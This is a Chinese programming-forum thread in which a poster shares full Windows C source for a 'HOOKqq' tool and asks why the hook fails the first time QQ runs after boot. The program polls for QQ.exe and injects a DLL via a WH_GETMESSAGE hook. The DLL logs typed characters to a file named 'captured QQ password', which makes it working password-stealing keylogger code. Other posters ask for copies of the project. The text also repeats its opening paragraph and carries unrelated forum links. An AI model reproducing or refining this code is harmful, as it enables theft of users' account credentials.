前两天刚写完的一个HOOKqq的例子.试了几次ok了.我以为搞定了..我用的是hookMessage.循环等待QQ的出现.一出现就装上购子,
哪知道今天早上一开机,问题就来了.很有趣.每次开机第一次hook.肯定拦不到第二次就开始就可以了.以后N次就完全正确.我一直认为是我的程序问题.搞了一个上午.下午想了一下.会不会是QQ问题.最后实验了N次.重启了N次.得出的结果是:每次开机就把QQ打开一次.不用输入密码.只要把那个登陆框打开然后就可以关闭.然后启动我的HOOKqq监视QQ.这之后就完全正常了.问题是出在QQ在开机后第一次启动的时候,我跟踪了.hook被正确安装.但是hook处理函数就放哑炮.没反映.不懂为什么.
补充一下,我实验了监控windows自带的计算器,毫无问题.开机第一次启动计算器就能正确拦截请高人们帮忙看看.万分感谢,
哪知道今天早上一开机,问题就来了.很有趣.每次开机第一次hook.肯定拦不到第二次就开始就可以了.以后N次就完全正确.我一直认为是我的程序问题.搞了一个上午.下午想了一下.会不会是QQ问题.最后实验了N次.重启了N次.得出的结果是:每次开机就把QQ打开一次.不用输入密码.只要把那个登陆框打开然后就可以关闭.然后启动我的HOOKqq监视QQ.这之后就完全正常了.问题是出在QQ在开机后第一次启动的时候,我跟踪了.hook被正确安装.但是hook处理函数就放哑炮.没反映.不懂为什么.
补充一下,我实验了监控windows自带的计算器,毫无问题.开机第一次启动计算器就能正确拦截请高人们帮忙看看.万分感谢,
解决方案 »
- 程序启动默认最大化//窗口偏移了什么情况????
- 请教!关于绘图问题
- 高手求救! FTP上传,中文文件名显示乱码怎么解决啊
- windows设置默认声卡的方法
- vc中使用date timer picker如何设置默认时间为空
- 如何显示取得的图标?
- 怎样调整ListCtrl的Item的高度啊?高手帮忙啊!
- 从网页上拷下来一段文本,里面有很多html标志,我想把它转换为没有html标志的文字,请问有什么办法?
- 你想找兼职么?关于一个从CEdit或CRicheditCTRL类派生的类!
- 难啊~~~~~~~~~~~~~~~~~~~~~~~~~头皮都想破了。
- 请教:谁有汉字编码范围表?谢谢!
- 在使用VC6是出现的一个错误。
[email protected]
HOOKQq,WM_PAINT消息在QQ被启动之后才能被处理.
(c) GR.HZ.2004.1.1
------------------------------------------------------------*/
#include <windows.h>
#include <tlhelp32.h>
#include <dll.h>
//#define _UNICODE
/*-------------------------------------------------------------------------------------------
1.the32PID代表QQ进程ID
2.n和hHookInstance变量做保留,供将来使用.
-------------------------------------------------------------------------------------------*/
TCHAR WarnNing[MAX_PATH] = {"源代码索取请给我来信,[email protected], BY GR.HZ"};
DWORD the32PID = NULL;
MSG msg ;
int n = 0;
HINSTANCE hHookInstance = NULL;
/*-------------------------------------------------------------------------------------------
IsStrSearch函数提供比较给定程序名与系统快照所得程序名的比较.由于win2k与win98系统快照所得的程序
名不相等.故写此函数做比较.其中参数pS表示源,pD表示目标字符.-------------------------------------------------------------------------------------------*/
int IsStrSearch(TCHAR* pS,TCHAR* pD)
{
int i= 0,j = 0;
if(NULL == pS || NULL == pD)
return 0;
while('\0' != *(pD + j))
{
if(*(pS + i) == *(pD+j))
{ i = i + 1;
j = j + 1;
}
else
{
if( '\0' == *(pS+i) )
return 0;
if( j > 0)
{
j = j - 1;
}
i = i + 1;
}
}
//if( 92 != *(pS + i - j -1 ) )
//return 0;//win98专用
if(0 != *(pS + i -j -1 ))
return 0;//win2k专用
return 1;
}
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
BOOL CALLBACK EnumProcWindow(HWND hWnd,LPARAM lParam);int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static char szAppName[] = "HelloWin" ;
HWND hwnd ;
WNDCLASSEX wndclass ;
hHookInstance = hInstance;
wndclass.cbSize = sizeof (wndclass) ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon(NULL,IDI_APPLICATION) ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;
wndclass.hIconSm=NULL; RegisterClassEx (&wndclass) ; hwnd = CreateWindowEx (WS_EX_APPWINDOW ,
szAppName, // window class name
"QQ篇", // window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; // creation parameters ShowWindow (hwnd, iCmdShow) ;
UpdateWindow (hwnd) ; while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
HDC hdc ;
PAINTSTRUCT ps ;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 PDB ;
PDB.dwSize = sizeof(PROCESSENTRY32);
TCHAR QQ[] = "QQ.exe";//win2k专用,
switch (iMsg)
{
case WM_CREATE :
while(1)//这个循环500豪秒一次.循环监视QQ是否被启动.
{
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
Process32First(hSnapshot,&PDB);
if( IsStrSearch(PDB.szExeFile,QQ) )
{
the32PID = PDB.th32ProcessID;
EnumWindows(EnumProcWindow,NULL);
CloseHandle(hSnapshot);
break;
}
while( Process32Next(hSnapshot,&PDB) )
{
if( IsStrSearch(PDB.szExeFile,QQ) ) //判断是否匹配
{
the32PID = PDB.th32ProcessID;
EnumWindows(EnumProcWindow,NULL); //匹配则枚举窗口
CloseHandle(hSnapshot);
return 0;
}
}
CloseHandle(hSnapshot);
Sleep(500);
}
return 0 ;
case WM_PAINT :
hdc = BeginPaint (hwnd, &ps) ;
TextOut(hdc,0,0,WarnNing,MAX_PATH);
EndPaint (hwnd, &ps) ;
return 0 ; case WM_DESTROY :
PostQuitMessage (0) ;
return 0 ;
} return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
}/*-------------------------------------------------------------------------------------------
这个callback函数处理得到QQ进程的一个窗口.然后得到顶层窗口.根据这个窗口得当相应的线程ID.其中PID
用来判断是否是QQ进程ID.
-------------------------------------------------------------------------------------------*/
BOOL CALLBACK EnumProcWindow(HWND hWnd,LPARAM lParam)
{
//DWORD* PID = (DWORD*)malloc(sizeof(DWORD)) ;
DWORD PID = NULL ;
DWORD ThreadID = NULL;
HWND hParent = NULL;
if( NULL != hWnd)
{ GetWindowThreadProcessId(hWnd,&PID);
if( (NULL != the32PID) && the32PID == PID )
{
while(NULL != hWnd)
{
hParent = hWnd;
if(NULL != hWnd)
{
hParent = hWnd;
}
hWnd = GetParent(hWnd);
}
ThreadID = GetWindowThreadProcessId(hParent,NULL);
SetHookQQ(ThreadID);
return 0;
//DWORD error = GetLastError();
}
}
else
return 0;
}
DLL.
C .GR.HZ.2004.1.1
-------------------------------------------------------------------------------------------*/#define HOOKAPI extern "C" __declspec(dllexport)
#define MAX_ 255
//#define _UNICODE
#include <dll.h>#pragma data_seg("Shared")
HHOOK hHook = NULL;
#pragma data_seg()
#pragma comment(linker,"/section:Shared,rws")HINSTANCE hInstance = NULL;
TCHAR Save[MAX_] = {0};
HANDLE hFile = NULL;
int EnterChar = 0; //一次按键两个消息
int n = 0;LRESULT CALLBACK HookQQProc(int nCode,WPARAM wParam,LPARAM lParam);HOOKAPI SetHookQQ(DWORD ThreadID)
{
if( 0 == ThreadID)
return 0;
else
{
hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)HookQQProc,hInstance,ThreadID);
if( 0 == hHook )
MessageBox(NULL,"ERROR",NULL,NULL);
}
}
/*-------------------------------------------------------------------------------------------
Save数组放要写入的数据.截获一个加1.写入文件.
-------------------------------------------------------------------------------------------*/LRESULT CALLBACK HookQQProc(int nCode,WPARAM wParam,LPARAM lParam)
{
DWORD dwSize; MSG* pMsg = (MSG*)lParam;
switch(pMsg->message)
{
case WM_CHAR:
if(0 != EnterChar)
{
EnterChar = 0;
return (CallNextHookEx(hHook,nCode,wParam,lParam));
}
Save[n] = (TCHAR)pMsg->wParam;
//MessageBox( NULL,&Save[n],NULL,NULL);
hFile = CreateFile("c:\\截获的QQ密码.TXT",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile,Save,100,&dwSize,NULL);
//MessageBox(NULL,"OK",NULL,NULL);
n = n + 1;
EnterChar = 1;
CloseHandle(hFile);
return (CallNextHookEx(hHook,nCode,wParam,lParam));
}
}
BOOL WINAPI DllMain(HINSTANCE hDllInstance,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
hInstance = hDllInstance;
break;
case DLL_PROCESS_DETACH:
UnhookWindowsHookEx(hHook);
break;
}
return 1;
}
#ifdef HOOKAPI
#else#define HOOKAPI extern "C" __declspec(dllimport)#endif
HOOKAPI SetHookQQ(DWORD ThreadID);头文件/
rabo(不哭死人) 兄台的邮件满了.发不过来.sky51fly(天天天蓝) ( ) 我已经把工程发过来了,
请帮忙看一下.感激万分
[email protected]
顺手也 抄送一份给我
Pls cc to me a copy ! [email protected]